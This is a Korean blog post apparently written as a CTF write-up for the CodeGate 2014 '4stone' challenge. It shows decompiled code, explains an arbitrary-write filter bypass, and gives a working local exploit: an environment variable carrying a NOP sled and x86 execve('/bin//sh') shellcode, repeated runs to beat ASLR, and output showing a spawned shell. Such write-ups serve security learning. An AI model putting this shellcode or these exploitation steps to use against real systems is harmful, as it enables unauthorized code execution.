ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • [CodeGate 2014]4stone
    CTF 2015. 11. 6. 14:35

     


    void __cdecl __noreturn sub_8049748(int argc, char **argv)

    {

      int v2; // eax@10

      int v3; // [sp+18h] [bp-28h]@7

      unsigned __int32 v4; // [sp+1Ch] [bp-24h]@7

      int v5; // [sp+20h] [bp-20h]@1

      signed int v6; // [sp+24h] [bp-1Ch]@1

      int v7; // [sp+28h] [bp-18h]@1

      int v8; // [sp+2Ch] [bp-14h]@4

      int v9; // [sp+30h] [bp-10h]@4

      int v10; // [sp+34h] [bp-Ch]@4

      int v11; // [sp+38h] [bp-8h]@4

      int v12; // [sp+3Ch] [bp-4h]@4


      v5 = 0;

      gettimeofday((struct timeval *)&v7, 0);

      initscr();

      v6 = sub_8049283();

      endwin();

      if ( v6 == 1 )

      {

        ::argc("you lose.");

        fflush(stdout);

      }

      if ( v6 == 2 )

      {

        gettimeofday((struct timeval *)&v9, 0);

        v11 = v9 - v7;

        v12 = v10 - v8;

        if ( v10 - v8 < 0 )

        {

          --v11;

          v12 += 1000000;

        }

        printf("you win! %d seconds\n\n", v11);

        fflush(stdout);

        if ( !v11 )

        {

          v4 = 0;

          v3 = 0;

          if ( argc == 2 )

          {

            v4 = strtoul(argv[1], 0, 16);           // integer

            __isoc99_scanf("%x", &v3);

          }

          if ( v4 )

          {

            HIWORD(v2) = HIWORD(v4);

            LOWORD(v2) = 0;

            if ( v2 != 0x8040000 && (v4 & 0xF0000000) != 0xB0000000 )// filetering

              *(_DWORD *)v4 = v3;

          }

        }

      }

      _exit(0);

    }


    메인함수의 코드이다.


    메인함수의 코드를 보면 클리어한 시간이 0이라면 argc가 2개인것을 확인하고 strtoul 함수로 v4에 집어넣고, v3에 진수값을 받는다.


    또 그 밑에 if 문을 보게되면 v4의 4바이트를 가져와 v2에 넣는데 if문을 또보게되면 저기서 필터링을하게된다.


    보면 인자에 0xf.... 0xb.... 0x804.... 바이너리안의 섹션들은 0x804...이기때문에 절대 오버라이트를 못하고, 스택에도 오버라이트하지못한다..


    그래서 아래와같은방법을 사용했다.


    /proc/pid/maps를 이용하여 rwx권한이 모두존재하는 주소를 따왔다.


    ./4stone &

    cat /proc/$pid/maps 를 하면 나오게되고, 그 주소를 따오면된다.


    그리고 인자에 주소를 넣어준다. 


    (python -c 'print "\n"*5 + "h\n" + "hh\n" + "hh\n" + "l\n" +"hh\n"';cat;) | ./4stone 0x555dc000


    그전에, 입력해주는것은 필승법이다. 0초안에 클리어할수있게 위와같이넣어주면된다.

    저렇게 커맨드를 넣어주면 입력갑을받는데 41414141를 넣으면 이상한값으로 eip가 바뀐다.

    바뀐 eip와 0x41414141을 빼주면 0xb5bc4가 나오는데 프로그램 스택을 확인해보면 아래와같다.



    0xff9aa24c: 0x080498ba 0x00000000 0xff9aa268 0x00000010

    0xff9aa25c: 0x080486c5 0xff9aa681 0x0000002f 0xffb578ec

    0xff9aa26c: 0x555dc000 0x00000000 0x00000002 0x563c3878

    0xff9aa27c: 0x0008e818 0x563c3878 0x00095a90 0x00000000

    0xff9aa28c: 0x00007278 0x080498c0 0x00000000 0x00000000

    0xff9aa29c: 0x555f6a83 0x00000002 0xff9aa334 0xff9aa340

    0xff9aa2ac: 0x55563cea 0x00000002 0xff9aa334 0xff9aa2d4

    0xff9aa2bc: 0x0804b048 0x08048400 0x55787000 0x00000000

    0xff9aa2cc: 0x00000000 0x00000000 0x247a37cf 0xafebf29a

    0xff9aa2dc: 0x00000000 0x00000000 0x00000000 0x00000002

    0xff9aa2ec: 0x08048840 0x00000000 0x55569500 0x555f6999

    0xff9aa2fc: 0x55576000 0x00000002 0x08048840 0x00000000

    0xff9aa30c: 0x08048861 0x08049748 0x00000002 0xff9aa334

    0xff9aa31c: 0x080498c0 0x08049930 0x55564180 0xff9aa32c

    0xff9aa32c: 0x0000001c 0x00000002 0xff9aa681 0xff9aa68a

    0xff9aa33c: 0x00000000 0xff9aa695 0xff9aa6aa 0xff9aa6c1

    0xff9aa34c: 0xff9aa6d4 0xff9aa6ec 0xff9aa700 0xff9aa710

    0xff9aa35c: 0xff9aa733 0xff9aa74a 0xff9aa75d 0xff9aa76b

    0xff9aa36c: 0xff9aa784 0xff9aa79c 0xff9aa7fa 0xff9aa81b

    0xff9aa37c: 0xff9aa839 0xff9aa84c 0xff9aa85d 0xff9aa878



    하지만 ASLR이 걸려있기때문에 우리는 환경변수를 이용해서 스택에 값을 쓸수있다.


    환경변수를 아래와같이 추가해준다. 


    export songsari=$(python -c 'print "\x90"*100000 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80" + "\x90"*50')


    그리고 스택이 랜덤이니 스택값-0xb5bc4를해준값을 넣어주고 계속 돌려준다.


    0xffbc256c: 0x90909090 0x90909090 0x90909090 0x90909090

    0xffbc257c: 0x90909090 0x90909090 0x90909090 0x90909090

    0xffbc258c: 0x90909090 0x90909090 0x90909090 0x90909090

    0xffbc259c: 0x90909090 0x90909090 0x90909090 0x90909090

    0xffbc25ac: 0x90909090 0x90909090 0x90909090 0x90909090

    0xffbc25bc: 0x90909090 0x90909090 0x90909090 0x90909090

    0xffbc25cc: 0x90909090 0x90909090 0x90909090 0x90909090

    0xffbc25dc: 0x90909090 0x90909090 0x90909090 0x90909090

    0xffbc25ec: 0x90909090 0x90909090 0x90909090 0x90909090

    0xffbc25fc: 0x90909090 0x90909090 0x90909090 0x90909090

    0xffbc260c: 0x90909090 0x90909090 0x90909090 0x90909090

    0xffbc261c: 0x90909090 0x90909090 0x90909090 0x90909090

    0xffbc262c: 0x90909090 0x90909090 0x90909090 0x90909090

    0xffbc263c: 0x90909090 0x90909090 0x90909090 0x90909090

    0xffbc264c: 0x90909090 0x90909090 0x90909090 0x90909090

    0xffbc265c: 0x90909090 0x90909090 0x90909090 0x90909090

    0xffbc266c: 0x90909090 0x90909090 0x90909090 0x90909090

    0xffbc267c: 0x90909090 0x90909090 0x90909090 0x90909090

    0xffbc268c: 0x90909090 0x90909090 0x90909090 0x90909090

    0xffbc269c: 0x90909090 0x90909090 0x90909090 0x90909090

    0xffbc26ac: 0x90909090 0x90909090 0x90909090 0x90909090

    0xffbc26bc: 0x90909090 0x90909090 0x90909090 0x90909090


    스택을보면 이렇게 \x90이 담기는것을볼수있다.


    이쪽에 eip를 바꾸면되지만 망할 aslr때문에 안되니 계속 돌려주자



    songsari@HackCat:~$ (python -c 'print "\n"*5 + "h\n" + "hh\n" + "hh\n" + "l\n" +"hh\n"';cat;) | ./4stone 0x555dc000

    you win! 0 seconds


    0xffaf3078

    0xffaf3078

    Segmentation fault (core dumped)

    songsari@HackCat:~$ (python -c 'print "\n"*5 + "h\n" + "hh\n" + "hh\n" + "l\n" +"hh\n"';cat;) | ./4stone 0x555dc000

    you win! 0 seconds


    0xffaf3078

    0xffaf3078

    Segmentation fault (core dumped)

    songsari@HackCat:~$ (python -c 'print "\n"*5 + "h\n" + "hh\n" + "hh\n" + "l\n" +"hh\n"';cat;) | ./4stone 0x555dc000

    you win! 0 seconds


    0xffaf3078

    0xffaf3078

    Segmentation fault (core dumped)

    songsari@HackCat:~$ (python -c 'print "\n"*5 + "h\n" + "hh\n" + "hh\n" + "l\n" +"hh\n"';cat;) | ./4stone 0x555dc000

    you win! 0 seconds


    0xffaf3078

    0xffaf3078

    /bin//sh: 1: 0xffaf3078: not found


    id

    uid=1001(songsari) gid=1001(songsari) groups=1001(songsari)







    바이너리자체에 안두고 스택,섹션등을 필터링해도 삽질해서 풀수있었고 낙현이 말로는 dl_resolve를 이용하면된다고는 하는데 흠... 그방법은 아직 모르겠다.


    처음에 환경변수주소를 넣어서 계속돌렸는데 이건 진짜 너무나도 극혐이여서 스택을 이용했고 너무나도 신박한문제였다.


    다음 문제로는 이제 bookstore!





    'CTF' 카테고리의 다른 글

    HDCON 2015 C&C 분석  (6) 2015.11.16
    [CodeGate]BookStore  (0) 2015.11.13
    SSA과제 qlvlejtm  (0) 2015.11.01
    [JFF3]Market1  (0) 2015.10.29
    [EKOPARTY]pwn50  (0) 2015.10.26

    댓글

Designed by Tistory.